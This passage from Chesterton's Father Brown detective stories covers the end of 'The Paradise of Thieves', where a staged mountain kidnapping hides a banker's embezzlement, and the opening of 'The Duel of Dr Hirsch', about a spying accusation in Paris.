and avalanche, but from something yet more romantic. +Ethel had been earnestly assured that brigands, the true cut-throats +of the modern legend, still haunted that ridge and held that pass +of the Apennines. + + "They say," she cried, with the awful relish of a schoolgirl, +"that all that country isn't ruled by the King of Italy, but by +the King of Thieves. Who is the King of Thieves?" + + "A great man," replied Muscari, "worthy to rank with +your own Robin Hood, signorina. Montano, the King of Thieves, +was first heard of in the mountains some ten years ago, when people +said brigands were extinct. But his wild authority spread with +the swiftness of a silent revolution. Men found his fierce proclamations +nailed in every mountain village; his sentinels, gun in hand, +in every mountain ravine. Six times the Italian Government +tried to dislodge him, and was defeated in six pitched battles +as if by Napoleon." + + "Now that sort of thing," observed the banker weightily, +"would never be allowed in England; perhaps, after all, we had better +choose another route. But the courier thought it perfectly safe." + + "It is perfectly safe," said the courier contemptuously. +"I have been over it twenty times. There may have been some old +jailbird called a King in the time of our grandmothers; +but he belongs to history if not to fable. Brigandage is utterly +stamped out." + + "It can never be utterly stamped out," Muscari answered; +"because armed revolt is a recreation natural to southerners. +Our peasants are like their mountains, rich in grace and green gaiety, +but with the fires beneath. There is a point of human despair where +the northern poor take to drink--and our own poor take to daggers." + + "A poet is privileged," replied Ezza, with a sneer. +"If Signor Muscari were English be would still be looking +for highwaymen in Wandsworth. Believe me, there is no more danger +of being captured in Italy than of being scalped in Boston." + + "Then you propose to attempt it?" asked Mr Harrogate, frowning. + + "Oh, it sounds rather dreadful," cried the girl, turning her +glorious eyes on Muscari. "Do you really think the pass is dangerous?" + + Muscari threw back his black mane. "I know it is dangerous:" +he said. "I am crossing it tomorrow." + + The young Harrogate was left behind for a moment emptying a glass of +white wine and lighting a cigarette, as the beauty retired with the banker, +the courier and the poet, distributing peals of silvery satire. +At about the same instant the two priests in the corner rose; +the taller, a white-haired Italian, taking his leave. The shorter priest +turned and walked towards the banker's son, and the latter was astonished +to realize that though a Roman priest the man was an Englishman. +He vaguely remembered meeting him at the social crushes of some of +his Catholic friends. But the man spoke before his memories could +collect themselves. + + "Mr Frank Harrogate, I think," he said. "I have had an introduction, +but I do not mean to presume on it. The odd thing I have to say +will come far better from a stranger. Mr Harrogate, I say one word and go: +take care of your sister in her great sorrow." + + Even for Frank's truly fraternal indifference the radiance +and derision of his sister still seemed to sparkle and ring; +he could hear her laughter still from the garden of the hotel, +and he stared at his sombre adviser in puzzledom. + + "Do you mean the brigands?" he asked; and then, remembering +a vague fear of his own, "or can you be thinking of Muscari?" + + "One is never thinking of the real sorrow," said the strange priest. +"One can only be kind when it comes." + + And he passed promptly from the room, leaving the other almost +with his mouth open. + + A day or two afterwards a coach containing the company was +really crawling and staggering up the spurs of the menacing mountain range. +Between Ezza's cheery denial of the danger and Muscari's boisterous +defiance of it, the financial family were firm in their original purpose; +and Muscari made his mountain journey coincide with theirs. +A more surprising feature was the appearance at the coast-town station +of the little priest of the restaurant; he alleged merely +that business led him also to cross the mountains of the midland. +But young Harrogate could not but connect his presence with +the mystical fears and warnings of yesterday. + + The coach was a kind of commodious wagonette, invented by +the modernist talent of the courier, who dominated the expedition +with his scientific activity and breezy wit. The theory of danger from +thieves was banished from thought and speech; though so far conceded +in formal act that some slight protection was employed. The courier +and the young banker carried loaded revolvers, and Muscari +(with much boyish gratification) buckled on a kind of cutlass +under his black cloak. + + He had planted his person at a flying leap next to +the lovely Englishwoman; on the other side of her sat the priest, +whose name was Brown and who was fortunately a silent individual; +the courier and the father and son were on the banc behind. +Muscari was in towering spirits, seriously believing in the peril, +and his talk to Ethel might well have made her think him a maniac. +But there was something in the crazy and gorgeous ascent, +amid crags like peaks loaded with woods like orchards, that dragged +her spirit up alone with his into purple preposterous heavens +with wheeling suns. The white road climbed like a white cat; +it spanned sunless chasms like a tight-rope; it was flung round +far-off headlands like a lasso. + + And yet, however high they went, the desert still blossomed +like the rose. The fields were burnished in sun and wind +with the colour of kingfisher and parrot and humming-bird, +the hues of a hundred flowering flowers. There are no lovelier meadows +and woodlands than the English, no nobler crests or chasms than +those of Snowdon and Glencoe. But Ethel Harrogate had never before +seen the southern parks tilted on the splintered northern peaks; +the gorge of Glencoe laden with the fruits of Kent. There was nothing here +of that chill and desolation that in Britain one associates with +high and wild scenery. It was rather like a mosaic palace, +rent with earthquakes; or like a Dutch tulip garden blown to the stars +with dynamite. + + "It's like Kew Gardens on Beachy Head," said Ethel. + + "It is our secret," answered he, "the secret of the volcano; +that is also the secret of the revolution--that a thing can be violent +and yet fruitful." + + "You are rather violent yourself," and she smiled at him. + + "And yet rather fruitless," he admitted; "if I die tonight +I die unmarried and a fool." + + "It is not my fault if you have come," she said after +a difficult silence. + + "It is never your fault," answered Muscari; "it was not your fault +that Troy fell." + + As they spoke they came under overwhelming cliffs that spread +almost like wings above a corner of peculiar peril. Shocked by the +big shadow on the narrow ledge, the horses stirred doubtfully. +The driver leapt to the earth to hold their heads, and they +became ungovernable. One horse reared up to his full height-- +the titanic and terrifying height of a horse when he becomes a biped. +It was just enough to alter the equilibrium; the whole coach +heeled over like a ship and crashed through the fringe of bushes +over the cliff. Muscari threw an arm round Ethel, who clung to him, +and shouted aloud. It was for such moments that he lived. + + At the moment when the gorgeous mountain walls went round +the poet's head like a purple windmill a thing happened which was +superficially even more startling. The elderly and lethargic banker +sprang erect in the coach and leapt over the precipice before +the tilted vehicle could take him there. In the first flash +it looked as wild as suicide; but in the second it was as sensible as +a safe investment. The Yorkshireman had evidently more promptitude, +as well as more sagacity, than Muscari had given him credit for; +for he landed in a lap of land which might have been specially padded +with turf and clover to receive him. As it happened, indeed, +the whole company were equally lucky, if less dignified in their +form of ejection. Immediately under this abrupt turn of the road +was a grassy and flowery hollow like a sunken meadow; a sort of +green velvet pocket in the long, green, trailing garments of the hills. +Into this they were all tipped or tumbled with little damage, +save that their smallest baggage and even the contents of their pockets +were scattered in the grass around them. The wrecked coach still +hung above, entangled in the tough hedge, and the horses plunged +painfully down the slope. The first to sit up was the little priest, +who scratched his head with a face of foolish wonder. Frank Harrogate +heard him say to himself: "Now why on earth have we fallen just here?" + + He blinked at the litter around him, and recovered his own +very clumsy umbrella. Beyond it lay the broad sombrero fallen from +the head of Muscari, and beside it a sealed business letter which, +after a glance at the address, he returned to the elder Harrogate. +On the other side of him the grass partly hid Miss Ethel's sunshade, +and just beyond it lay a curious little glass bottle hardly two inches long. +The priest picked it up; in a quick, unobtrusive manner he uncorked +and sniffed it, and his heavy face turned the colour of clay. + + "Heaven deliver us!" he muttered; "it can't be hers! +Has her sorrow come on her already?" He slipped it into his own +waistcoat pocket. "I think I'm justified," he said, "till I know +a little more." + + He gazed painfully at the girl, at that moment being raised out of +the flowers by Muscari, who was saying: "We have fallen into heaven; +it is a sign. Mortals climb up and they fall down; but it is only +gods and goddesses who can fall upwards." + + And indeed she rose out of the sea of colours so beautiful and +happy a vision that the priest felt his suspicion shaken and shifted. +"After all," he thought, "perhaps the poison isn't hers; perhaps it's +one of Muscari's melodramatic tricks." + + Muscari set the lady lightly on her feet, made her an absurdly +theatrical bow, and then, drawing his cutlass, hacked hard at +the taut reins of the horses, so that they scrambled to their feet +and stood in the grass trembling. When he had done so, +a most remarkable thing occurred. A very quiet man, very poorly dressed +and extremely sunburnt, came out of the bushes and took hold of +the horses' heads. He had a queer-shaped knife, very broad and crooked, +buckled on his belt; there was nothing else remarkable about him, +except his sudden and silent appearance. The poet asked him who he was, +and he did not answer. + + Looking around him at the confused and startled group in the hollow, +Muscari then perceived that another tanned and tattered man, +with a short gun under his arm, was looking at them from +the ledge just below, leaning his elbows on the edge of the turf. +Then he looked up at the road from which they had fallen and saw, +looking down on them, the muzzles of four other carbines and +four other brown faces with bright but quite motionless eyes. + + "The brigands!" cried Muscari, with a kind of monstrous gaiety. +"This was a trap. Ezza, if you will oblige me by shooting the +coachman first, we can cut our way out yet. There are only six of them." + + "The coachman," said Ezza, who was standing grimly with his hands +in his pockets, "happens to be a servant of Mr Harrogate's." + + "Then shoot him all the more," cried the poet impatiently; +"he was bribed to upset his master. Then put the lady in the middle, +and we will break the line up there--with a rush." + + And, wading in wild grass and flowers, he advanced fearlessly +on the four carbines; but finding that no one followed except +young Harrogate, he turned, brandishing his cutlass to wave the others on. +He beheld the courier still standing slightly astride in the centre of +the grassy ring, his hands in his pockets; and his lean, ironical +Italian face seemed to grow longer and longer in the evening light. + + "You thought, Muscari, I was the failure among our schoolfellows," +he said, "and you thought you were the success. But I have succeeded +more than you and fill a bigger place in history. I have been +acting epics while you have been writing them." + + "Come on, I tell you!" thundered Muscari from above. +"Will you stand there talking nonsense about yourself with a woman +to save and three strong men to help you? What do you call yourself?" + + "I call myself Montano," cried the strange courier in a voice +equally loud and full. "I am the King of Thieves, and I welcome you all +to my summer palace." + + And even as he spoke five more silent men with weapons ready +came out of the bushes, and looked towards him for their orders. +One of them held a large paper in his hand. + + "This pretty little nest where we are all picnicking," +went on the courier-brigand, with the same easy yet sinister smile, +"is, together with some caves underneath it, known by the name of +the Paradise of Thieves. It is my principal stronghold on these hills; +for (as you have doubtless noticed) the eyrie is invisible both from +the road above and from the valley below. It is something better +than impregnable; it is unnoticeable. Here I mostly live, and here +I shall certainly die, if the gendarmes ever track me here. +I am not the kind of criminal that `reserves his defence,' +but the better kind that reserves his last bullet." + + All were staring at him thunderstruck and still, except Father Brown, +who heaved a huge sigh as of relief and fingered the little phial +in his pocket. "Thank God!" he muttered; "that's much more probable. +The poison belongs to this robber-chief, of course. He carries it +so that he may never be captured, like Cato." + + The King of Thieves was, however, continuing his address with +the same kind of dangerous politeness. "It only remains for me," +he said, "to explain to my guests the social conditions upon which +I have the pleasure of entertaining them. I need not expound +the quaint old ritual of ransom, which it is incumbent upon me +to keep up; and even this only applies to a part of the company. +The Reverend Father Brown and the celebrated Signor Muscari +I shall release tomorrow at dawn and escort to my outposts. +Poets and priests, if you will pardon my simplicity of speech, +never have any money. And so (since it is impossible to get anything +out of them), let us, seize the opportunity to show our admiration for +classic literature and our reverence for Holy Church." + + He paused with an unpleasing smile; and Father Brown +blinked repeatedly at him, and seemed suddenly to be listening +with great attention. The brigand captain took the large paper from +the attendant brigand and, glancing over it, continued: +"My other intentions are clearly set forth in this public document, +which I will hand round in a moment; and which after that will be +posted on a tree by every village in the valley, and every cross-road +in the hills. I will not weary you with the verbalism, since you +will be able to check it; the substance of my proclamation is this: +I announce first that I have captured the English millionaire, +the colossus of finance, Mr Samuel Harrogate. I next announce +that I have found on his person notes and bonds for two thousand pounds, +which he has given up to me. Now since it would be really immoral +to announce such a thing to a credulous public if it had not occurred, +I suggest it should occur without further delay. I suggest that +Mr Harrogate senior should now give me the two thousand pounds +in his pocket." + + The banker looked at him under lowering brows, red-faced and sulky, +but seemingly cowed. That leap from the failing carriage seemed +to have used up his last virility. He had held back in a hang-dog style +when his son and Muscari had made a bold movement to break out of +the brigand trap. And now his red and trembling hand went reluctantly +to his breast-pocket, and passed a bundle of papers and envelopes +to the brigand. + + "Excellent!" cried that outlaw gaily; "so far we are all cosy. +I resume the points of my proclamation, so soon to be published +to all Italy. The third item is that of ransom. I am asking +from the friends of the Harrogate family a ransom of three thousand pounds, +which I am sure is almost insulting to that family in its moderate estimate +of their importance. Who would not pay triple this sum for another day's +association with such a domestic circle? I will not conceal from you +that the document ends with certain legal phrases about +the unpleasant things that may happen if the money is not paid; +but meanwhile, ladies and gentlemen, let me assure you that +I am comfortably off here for accommodation, wine and cigars, +and bid you for the present a sportsman-like welcome to the luxuries +of the Paradise of Thieves." + + All the time that he had been speaking, the dubious-looking men +with carbines and dirty slouch hats had been gathering silently +in such preponderating numbers that even Muscari was compelled +to recognize his sally with the sword as hopeless. He glanced around him; +but the girl had already gone over to soothe and comfort her father, +for her natural affection for his person was as strong or stronger than +her somewhat snobbish pride in his success. Muscari, with the illogicality +of a lover, admired this filial devotion, and yet was irritated by it. +He slapped his sword back in the scabbard and went and flung himself +somewhat sulkily on one of the green banks. The priest sat down +within a yard or two, and Muscari turned his aquiline nose on him +in an instantaneous irritation. + + "Well," said the poet tartly, "do people still think me too romantic? +Are there, I wonder, any brigands left in the mountains?" + + "There may be," said Father Brown agnostically. + + "What do you mean?" asked the other sharply. + + "I mean I am puzzled," replied the priest. "I am puzzled about +Ezza or Montano, or whatever his name is. He seems to me much more +inexplicable as a brigand even than he was as a courier." + + "But in what way?" persisted his companion. "Santa Maria! +I should have thought the brigand was plain enough." + + "I find three curious difficulties," said the priest in a quiet voice. +"I should like to have your opinion on them. First of all +I must tell you I was lunching in that restaurant at the seaside. +As four of you left the room, you and Miss Harrogate went ahead, +talking and laughing; the banker and the courier came behind, +speaking sparely and rather low. But I could not help hearing Ezza +say these words--`Well, let her have a little fun; you know the blow +may smash her any minute.' Mr Harrogate answered nothing; +so the words must have had some meaning. On the impulse of the moment +I warned her brother that she might be in peril; I said nothing +of its nature, for I did not know. But if it meant this capture +in the hills, the thing is nonsense. Why should the brigand-courier +warn his patron, even by a hint, when it was his whole purpose to lure him +into the mountain-mousetrap? It could not have meant that. +But if not, what is this disaster, known both to courier and banker, +which hangs over Miss Harrogate's head?" + + "Disaster to Miss Harrogate!" ejaculated the poet, sitting up +with some ferocity. "Explain yourself; go on." + + "All my riddles, however, revolve round our bandit chief," +resumed the priest reflectively. "And here is the second of them. +Why did he put so prominently in his demand for ransom the fact that +he had taken two thousand pounds from his victim on the spot? +It had no faintest tendency to evoke the ransom. Quite the other way, +in fact. Harrogate's friends would be far likelier to fear for his fate +if they thought the thieves were poor and desperate. Yet the spoliation +on the spot was emphasized and even put first in the demand. +Why should Ezza Montano want so specially to tell all Europe that +he had picked the pocket before he levied the blackmail?" + + "I cannot imagine," said Muscari, rubbing up his black hair +for once with an unaffected gesture. "You may think you enlighten me, +but you are leading me deeper in the dark. What may be the third +objection to the King of the Thieves?" "The third objection," +said Father Brown, still in meditation, "is this bank we are sitting on. +Why does our brigand-courier call this his chief fortress and +the Paradise of Thieves? It is certainly a soft spot to fall on +and a sweet spot to look at. It is also quite true, as he says, +that it is invisible from valley and peak, and is therefore a hiding-place. +But it is not a fortress. It never could be a fortress. +I think it would be the worst fortress in the world. For it is actually +commanded from above by the common high-road across the mountains-- +the very place where the police would most probably pass. +Why, five shabby short guns held us helpless here about half an hour ago. +The quarter of a company of any kind of soldiers could have blown us +over the precipice. Whatever is the meaning of this odd little nook +of grass and flowers, it is not an entrenched position. +It is something else; it has some other strange sort of importance; +some value that I do not understand. It is more like an accidental theatre +or a natural green-room; it is like the scene for some romantic comedy; +it is like...." + + As the little priest's words lengthened and lost themselves +in a dull and dreamy sincerity, Muscari, whose animal senses were alert +and impatient, heard a new noise in the mountains. Even for him +the sound was as yet very small and faint; but he could have sworn +the evening breeze bore with it something like the pulsation of +horses' hoofs and a distant hallooing. + + At the same moment, and long before the vibration had touched +the less-experienced English ears, Montano the brigand ran up +the bank above them and stood in the broken hedge, steadying himself +against a tree and peering down the road. He was a strange figure +as he stood there, for he had assumed a flapped fantastic hat and +swinging baldric and cutlass in his capacity of bandit king, +but the bright prosaic tweed of the courier showed through in patches +all over him. + + The next moment he turned his olive, sneering face and made +a movement with his hand. The brigands scattered at the signal, +not in confusion, but in what was evidently a kind of guerrilla discipline. +Instead of occupying the road along the ridge, they sprinkled themselves +along the side of it behind the trees and the hedge, as if watching unseen +for an enemy. The noise beyond grew stronger, beginning to shake +the mountain road, and a voice could be clearly heard calling out orders. +The brigands swayed and huddled, cursing and whispering, +and the evening air was full of little metallic noises as they +cocked their pistols, or loosened their knives, or trailed their scabbards +over the stones. Then the noises from both quarters seemed to meet +on the road above; branches broke, horses neighed, men cried out. + + "A rescue!" cried Muscari, springing to his feet and waving his hat; +"the gendarmes are on them! Now for freedom and a blow for it! +Now to be rebels against robbers! Come, don't let us leave everything +to the police; that is so dreadfully modern. Fall on the rear +of these ruffians. The gendarmes are rescuing us; come, friends, +let us rescue the gendarmes!" + + And throwing his hat over the trees, he drew his cutlass once more +and began to escalade the slope up to the road. Frank Harrogate +jumped up and ran across to help him, revolver in hand, but was astounded +to hear himself imperatively recalled by the raucous voice of his father, +who seemed to be in great agitation. + + "I won't have it," said the banker in a choking voice; +"I command you not to interfere." + + "But, father," said Frank very warmly, "an Italian gentleman has +led the way. You wouldn't have it said that the English hung back." + + "It is useless," said the older man, who was trembling violently, +"it is useless. We must submit to our lot." + + Father Brown looked at the banker; then he put his hand instinctively +as if on his heart, but really on the little bottle of poison; +and a great light came into his face like the light of the revelation +of death. + + Muscari meanwhile, without waiting for support, had crested the bank +up to the road, and struck the brigand king heavily on the shoulder, +causing him to stagger and swing round. Montano also had +his cutlass unsheathed, and Muscari, without further speech, +sent a slash at his head which he was compelled to catch and parry. +But even as the two short blades crossed and clashed the King of Thieves +deliberately dropped his point and laughed. + + "What's the good, old man?" he said in spirited Italian slang; +"this damned farce will soon be over." + + "What do you mean, you shuffler?" panted the fire-eating poet. +"Is your courage a sham as well as your honesty?" + + "Everything about me is a sham," responded the ex-courier +in complete good humour. "I am an actor; and if I ever had +a private character, I have forgotten it. I am no more a genuine brigand +than I am a genuine courier. I am only a bundle of masks, +and you can't fight a duel with that." And he laughed with boyish pleasure +and fell into his old straddling attitude, with his back to the skirmish +up the road. + + Darkness was deepening under the mountain walls, and it was not easy +to discern much of the progress of the struggle, save that tall men +were pushing their horses' muzzles through a clinging crowd of brigands, +who seemed more inclined to harass and hustle the invaders +than to kill them. It was more like a town crowd preventing +the passage of the police than anything the poet had ever pictured +as the last stand of doomed and outlawed men of blood. Just as he was +rolling his eyes in bewilderment he felt a touch on his elbow, +and found the odd little priest standing there like a small Noah +with a large hat, and requesting the favour of a word or two. + + "Signor Muscari," said the cleric, "in this queer crisis +personalities may be pardoned. I may tell you without offence +of a way in which you will do more good than by helping the gendarmes, +who are bound to break through in any case. You will permit me +the impertinent intimacy, but do you care about that girl? +Care enough to marry her and make her a good husband, I mean?" + + "Yes," said the poet quite simply. + + "Does she care about you?" + + "I think so," was the equally grave reply. + + "Then go over there and offer yourself," said the priest: +"offer her everything you can; offer her heaven and earth +if you've got them. The time is short." + + "Why?" asked the astonished man of letters. + + "Because," said Father Brown, "her Doom is coming up the road." + + "Nothing is coming up the road," argued Muscari, "except the rescue." + + "Well, you go over there," said his adviser, "and be ready +to rescue her from the rescue." + + Almost as he spoke the hedges were broken all along the ridge +by a rush of the escaping brigands. They dived into bushes +and thick grass like defeated men pursued; and the great cocked hats +of the mounted gendarmerie were seen passing along above the broken hedge. +Another order was given; there was a noise of dismounting, +and a tall officer with cocked hat, a grey imperial, and a paper in his hand +appeared in the gap that was the gate of the Paradise of Thieves. +There was a momentary silence, broken in an extraordinary way by the banker, +who cried out in a hoarse and strangled voice: "Robbed! I've been robbed!" + + "Why, that was hours ago," cried his son in astonishment: +"when you were robbed of two thousand pounds." + + "Not of two thousand pounds," said the financier, with an abrupt +and terrible composure, "only of a small bottle." + + The policeman with the grey imperial was striding across +the green hollow. Encountering the King of the Thieves in his path, +he clapped him on the shoulder with something between a caress +and a buffet and gave him a push that sent him staggering away. +"You'll get into trouble, too," he said, "if you play these tricks." + + Again to Muscari's artistic eye it seemed scarcely like +the capture of a great outlaw at bay. Passing on, the policeman halted +before the Harrogate group and said: "Samuel Harrogate, I arrest you +in the name of the law for embezzlement of the funds of the Hull and +Huddersfield Bank." + + The great banker nodded with an odd air of business assent, +seemed to reflect a moment, and before they could interpose took +a half turn and a step that brought him to the edge of the outer +mountain wall. Then, flinging up his hands, he leapt exactly as he leapt +out of the coach. But this time he did not fall into a little meadow +just beneath; he fell a thousand feet below, to become a wreck of bones +in the valley. + + The anger of the Italian policeman, which he expressed volubly +to Father Brown, was largely mixed with admiration. "It was like him +to escape us at last," he said. "He was a great brigand if you like. +This last trick of his I believe to be absolutely unprecedented. +He fled with the company's money to Italy, and actually got himself +captured by sham brigands in his own pay, so as to explain both the +disappearance of the money and the disappearance of himself. +That demand for ransom was really taken seriously by most of the police. +But for years he's been doing things as good as that, quite as good +as that. He will be a serious loss to his family." + + Muscari was leading away the unhappy daughter, who held hard to him, +as she did for many a year after. But even in that tragic wreck +he could not help having a smile and a hand of half-mocking friendship +for the indefensible Ezza Montano. "And where are you going next?" +he asked him over his shoulder. + + "Birmingham," answered the actor, puffing a cigarette. +"Didn't I tell you I was a Futurist? I really do believe in those things +if I believe in anything. Change, bustle and new things every morning. +I am going to Manchester, Liverpool, Leeds, Hull, Huddersfield, +Glasgow, Chicago--in short, to enlightened, energetic, civilized society!" + + "In short," said Muscari, "to the real Paradise of Thieves." + + + + THREE + + The Duel of Dr Hirsch + + +M. MAURICE BRUN and M. Armand Armagnac were crossing the sunlit +Champs Elysee with a kind of vivacious respectability. +They were both short, brisk and bold. They both had black beards +that did not seem to belong to their faces, after the strange French fashion +which makes real hair look like artificial. M. Brun had +a dark wedge of beard apparently affixed under his lower lip. +M. Armagnac, by way of a change, had two beards; one sticking out +from each corner of his emphatic chin. They were both young. +They were both atheists, with a depressing fixity of outlook +but great mobility of exposition. They were both pupils of +the great Dr Hirsch, scientist, publicist and moralist. + + M. Brun had become prominent by his proposal that the common +expression "Adieu" should be obliterated from all the French classics, +and a slight fine imposed for its use in private life. "Then," he said, +"the very name of your imagined God will have echoed for the last time +in the ear of man." M. Armagnac specialized rather in a resistance +to militarism, and wished the chorus of the Marseillaise altered from +"Aux armes, citoyens" to "Aux greves, citoyens". But his antimilitarism +was of a peculiar and Gallic sort. An eminent and very wealthy +English Quaker, who had come to see him to arrange for the disarmament +of the whole planet, was rather distressed by Armagnac's proposal +that (by way of beginning) the soldiers should shoot their officers. + + And indeed it was in this regard that the two men differed most +from their leader and father in philosophy. Dr Hirsch, +though born in France and covered with the most triumphant favours +of French education, was temperamentally of another type--mild, dreamy, +humane; and, despite his sceptical system, not devoid of transcendentalism. +He was, in short, more like a German than a Frenchman; and much as they +admired him, something in the subconsciousness of these Gauls was +irritated at his pleading for peace in so peaceful a manner. +To their party throughout Europe, however, Paul Hirsch was +a saint of science. His large and daring cosmic theories +advertised his austere life and innocent, if somewhat frigid, morality; +he held something of the position of Darwin doubled with the position +of Tolstoy. But he was neither an anarchist nor an antipatriot; +his views on disarmament were moderate and evolutionary-- +the Republican Government put considerable confidence in him +as to various chemical improvements. He had lately even discovered +a noiseless explosive, the secret of which the Government was +carefully guarding. + + His house stood in a handsome street near the Elysee-- +a street which in that strong summer seemed almost as full of foliage +as the park itself; a row of chestnuts shattered the sunshine, +interrupted only in one place where a large cafe ran out into the street. +Almost opposite to this were the white and green blinds of +the great scientist's house, an iron balcony, also painted green, +running along in front of the first-floor windows. Beneath this was +the entrance into a kind of court, gay with shrubs and tiles, +into which the two Frenchmen passed in animated talk. + + The door was opened to them by the doctor's old servant, Simon, +who might very well have passed for a doctor himself, having a strict +suit of black, spectacles, grey hair, and a confidential manner. +In fact, he was a far more presentable man of science than his master, +Dr Hirsch, who was a forked radish of a fellow, with just enough +bulb of a head to make his body insignificant. With all the gravity +of a great physician handling a prescription, Simon handed a letter +to M. Armagnac. That gentleman ripped it up with a racial impatience, +and rapidly read the following: + + I cannot come down to speak to you. There is a man in this house +whom I refuse to meet. He is a Chauvinist officer, Dubosc. +He is sitting on the stairs. He has been kicking the furniture about +in all the other rooms; I have locked myself in my study, +opposite that cafe. If you love me, go over to the cafe and wait +at one of the tables outside. I will try to send him over to you. +I want you to answer him and deal with him. I cannot meet him myself. +I cannot: I will not. + + There is going to be another Dreyfus case. + + P. HIRSCH + + + + M. Armagnac looked at M. Brun. M. Brun borrowed the letter, +read it, and looked at M. Armagnac. Then both betook themselves briskly +to one of the little tables under the chestnuts opposite, +where they procured two tall glasses of horrible green absinthe, +which they could drink apparently in any weather and at any time. +Otherwise the cafe seemed empty, except for one soldier drinking coffee +at one table, and at another a large man drinking a small syrup and +a priest drinking nothing. + + Maurice Brun cleared his throat and said: "Of course we must help +the master in every way, but--" + + There was an abrupt silence, and Armagnac said: "He may have +excellent reasons for not meeting the man himself, but--" + + Before either could complete a sentence, it was evident that +the invader had been expelled from the house opposite. The shrubs under +the archway swayed and burst apart, as that unwelcome guest was +shot out of them like a cannon-ball. + + He was a sturdy figure in a small and tilted Tyrolean felt hat, +a figure that had indeed something generally Tyrolean about it. +The man's shoulders were big and broad, but his legs were neat and active +in knee-breeches and knitted stockings. His face was brown like a nut; +he had very bright and restless brown eyes; his dark hair was brushed back +stiffly in front and cropped close behind, outlining a square and +powerful skull; and he had a huge black moustache like the horns of a bison. +Such a substantial head is generally based on a bull neck; but this was +hidden by a big coloured scarf, swathed round up the man's ears +and falling in front inside his jacket like a sort of fancy waistcoat. +It was a scarf of strong dead colours, dark red and old gold and purple, +probably of Oriental fabrication. Altogether the man had something +a shade barbaric about him; more like a Hungarian squire than +an ordinary French officer. His French, however, was obviously +that of a native; and his French patriotism was so impulsive +as to be slightly absurd. His first act when he burst out of the archway +was to call in a clarion voice down the street: "Are there any +Frenchmen here?" as if he were calling for Christians in Mecca. + + Armagnac and Brun instantly stood up; but they were too late. +Men were already running from the street corners; there was a small +but ever-clustering crowd. With the prompt French instinct for +the politics of the street, the man with the black moustache had already +run across to a corner of the cafe, sprung on one of the tables, +and seizing a branch of chestnut to steady himself, shouted +as Camille Desmoulins once shouted when he scattered the oak-leaves +among the populace. + + "Frenchmen!" he volleyed; "I cannot speak! God help me, that is why +I am speaking! The fellows in their filthy parliaments who learn +to speak also learn to be silent--silent as that spy cowering +in the house opposite! Silent as he is when I beat on his bedroom door! +Silent as he is now, though he hears my voice across this street +and shakes where he sits! Oh, they can be silent eloquently-- +the politicians! But the time has come when we that cannot speak +must speak. You are betrayed to the Prussians. Betrayed at this moment. +Betrayed by that man. I am Jules Dubosc, Colonel of Artillery, Belfort. +We caught a German spy in the Vosges yesterday, and a paper was found +on him--a paper I hold in my hand. Oh, they tried to hush it up; +but I took it direct to the man who wrote it--the man in that house! +It is in his hand. It is signed with his initials. It is a direction +for finding the secret of this new Noiseless Powder. Hirsch invented it; +Hirsch wrote this note about it. This note is in German, and was found +in a German's pocket. `Tell the man the formula for powder is in +grey envelope in first drawer to the left of Secretary's desk, +War Office, in red ink. He must be careful. P.H.'" + + He rattled short sentences like a quick-firing gun, but he was plainly +the sort of man who is either mad or right. The mass of the crowd +was Nationalist, and already in threatening uproar; and a minority +of equally angry Intellectuals, led by Armagnac and Brun, only made +the majority more militant. + + "If this is a military secret," shouted Brun, "why do you yell +about it in the street?" + + "I will tell you why I do!" roared Dubosc above the roaring crowd. +"I went to this man in straight and civil style. If he had any explanation +it could have been given in complete confidence. He refuses to explain. +He refers me to two strangers in a cafe as to two flunkeys. +He has thrown me out of the house, but I am going back into it, +with the people of Paris behind me!" + + A shout seemed to shake the very facade of mansions and +two stones flew, one breaking a window above the balcony. +The indignant Colonel plunged once more under the archway and was heard +crying and thundering inside. Every instant the human sea grew wider +and wider; it surged up against the rails and steps of the traitor's house; +it was already certain that the place would be burst into like +the Bastille, when the broken french window opened and Dr Hirsch came out +on the balcony. For an instant the fury half turned to laughter; +for he was an absurd figure in such a scene. His long bare neck and +sloping shoulders were the shape of a champagne bottle, but that was +the only festive thing about him. His coat hung on him as on a peg; +he wore his carrot-coloured hair long and weedy; his cheeks and chin +were fully fringed with one of those irritating beards that begin +far from the mouth. He was very pale, and he wore blue spectacles. + + Livid as he was, he spoke with a sort of prim decision, +so that the mob fell silent in the middle of his third sentence. + + "...only two things to say to you now. The first is to my foes, +the second to my friends. To my foes I say: It is true I will not +meet M. Dubosc, though he is storming outside this very room. +It is true I have asked two other men to confront him for me. +And I will tell you why! Because I will not and must not see him-- +because it would be against all rules of dignity and honour to see him. +Before I am triumphantly cleared before a court, there is +another arbitration this gentleman owes me as a gentleman, +and in referring him to my seconds I am strictly--" + + Armagnac and Brun were waving their hats wildly, and even +the Doctor's enemies roared applause at this unexpected defiance. +Once more a few sentences were inaudible, but they could hear him say: +"To my friends--I myself should always prefer weapons purely intellectual, +and to these an evolved humanity will certainly confine itself. +But our own most precious truth is the fundamental force of matter +and heredity. My books are successful; my theories are unrefuted; +but I suffer in politics from a prejudice almost physical in the French. +I cannot speak like Clemenceau and Deroulede, for their words are like +echoes of their pistols. The French ask for a duellist as the English +ask for a sportsman. Well, I give my proofs: I will pay +this barbaric bribe, and then go back to reason for the rest of my life." + + Two men were instantly found in the crowd itself to offer +their services to Colonel Dubosc, who came out presently, satisfied. +One was the common soldier with the coffee, who said simply: +"I will act for you, sir. I am the Duc de Valognes." The other was +the big man, whom his friend the priest sought at first to dissuade; +and then walked away alone. + + In the early evening a light dinner was spread at the back of +the Cafe Charlemagne. Though unroofed by any glass or gilt plaster, +the guests were nearly all under a delicate and irregular roof of leaves; +for the ornamental trees stood so thick around and among the tables +as to give something of the dimness and the dazzle of a small orchard. +At one of the central tables a very stumpy little priest sat +in complete solitude, and applied himself to a pile of whitebait +with the gravest sort of enjoyment. His daily living being very plain, +he had a peculiar taste for sudden and isolated luxuries; he was +an abstemious epicure. He did not lift his eyes from his plate, +round which red pepper, lemons, brown bread and butter, etc., +were rigidly ranked, until a tall shadow fell across the table, +and his friend Flambeau sat down opposite. Flambeau was gloomy. + + "I'm afraid I must chuck this business," said he heavily. +"I'm all on the side of the French soldiers like Dubosc, +and I'm all against the French atheists like Hirsch; but it seems to me +in this case we've made a mistake. The Duke and I thought it as well +to investigate the charge, and I must say I'm glad we did." + + "Is the paper a forgery, then?" asked the priest + + "That's just the odd thing," replied Flambeau. "It's exactly like +Hirsch's writing, and nobody can point out any mistake in it. +But it wasn't written by Hirsch. If he's a French patriot +he didn't write it, because it gives information to Germany. +And if he's a German spy he didn't write it, well--because it doesn't +give information to Germany." + + "You mean the information is wrong?" asked Father Brown. + + "Wrong," replied the other, "and wrong exactly where Dr Hirsch +would have been right--about the hiding-place of 